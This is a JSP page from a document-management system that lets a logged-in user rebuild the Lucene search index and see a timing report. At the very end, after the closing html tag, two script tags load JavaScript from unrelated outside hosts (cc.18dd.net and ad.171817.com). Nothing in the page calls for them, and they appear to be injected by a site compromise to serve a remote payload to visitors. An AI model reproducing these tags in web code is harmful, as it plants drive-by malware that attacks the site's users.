<%
/*
 * @(#)EditDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
 * batchLuceneIndex.jsp
 *
 * This class is reflecting business logic uses.
 *
 * @author           Roy Wong
 * @company          DCIVision Limited
 * @creation date    05/05/2004
 * @version          $Revision: 1.2.40.3 $
 */
%>
<%@page import="com.dcivision.framework.SessionContainer"%>
<%@page import="com.dcivision.framework.GlobalConstant"%>
<%@page import="com.dcivision.upgrade.handler.UpgradeHandler"%>
<%@page import="com.dcivision.upgrade.UpgradeManager"%>
<%@page import="com.dcivision.upgrade.StandardUpgradeRequest"%>
<%
	SessionContainer sessionContainer = (SessionContainer) request.getSession().getAttribute(GlobalConstant.SESSION_CONTAINER_KEY);
	boolean isLogin = sessionContainer != null && sessionContainer.getUserRecord() != null;
	
	if (!isLogin) {
		response.sendRedirect(request.getContextPath()+"/Login.do?action=expire&url=jsp/dms/RebuildLuceneIndex.jsp");
		return;
	}
	
	String startFlag = request.getParameter("start");

%>
<%@page import="java.util.Date"%>
<html>
<head>
<title>Rebuild Lucene Index</title>
</head>
<body>
<div style="text-align:center">
<h3>Index all document</h3>
<form name="indexForm" action="<%=request.getContextPath()%>/jsp/dms/RebuildLuceneIndex.jsp" method="post">
<input type="hidden" name="start" value="true">
<input type="submit" value="Start Rebuild">
</form>
</div>
<%
	if ("true".equals(startFlag)) {
		long startTime = (new Date()).getTime();
		long endTime = startTime;
		long totalUseTime = 0;
		
	    StandardUpgradeRequest rebuildRequest = new StandardUpgradeRequest();
	    rebuildRequest.setUpgradeParameter("isUpdateFromOldLuceneIndex", "false");
	    rebuildRequest.setUpgradeParameter("oldLuceneIndexPath", null);
	    rebuildRequest.setUpgradeParameter(GlobalConstant.SESSION_CONTAINER_KEY, sessionContainer);
	    
		UpgradeHandler rebuildLuceneIndexHandler = UpgradeManager.getHandler4RebuildLuceneIndex(rebuildRequest);
		rebuildLuceneIndexHandler.upgrade();
		
		endTime = (new Date()).getTime();
		totalUseTime = endTime - startTime;
%>
<div style="margin:50px">
<h3>Report</h3>
<hr>
<p>
Total use time : <%=totalUseTime/1000%> Seconds.
</p>
<p>
<%=rebuildLuceneIndexHandler.getUpgradeState().getReport()%>
</p>
</div>
<%
	}
%>
</body>
</html>
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>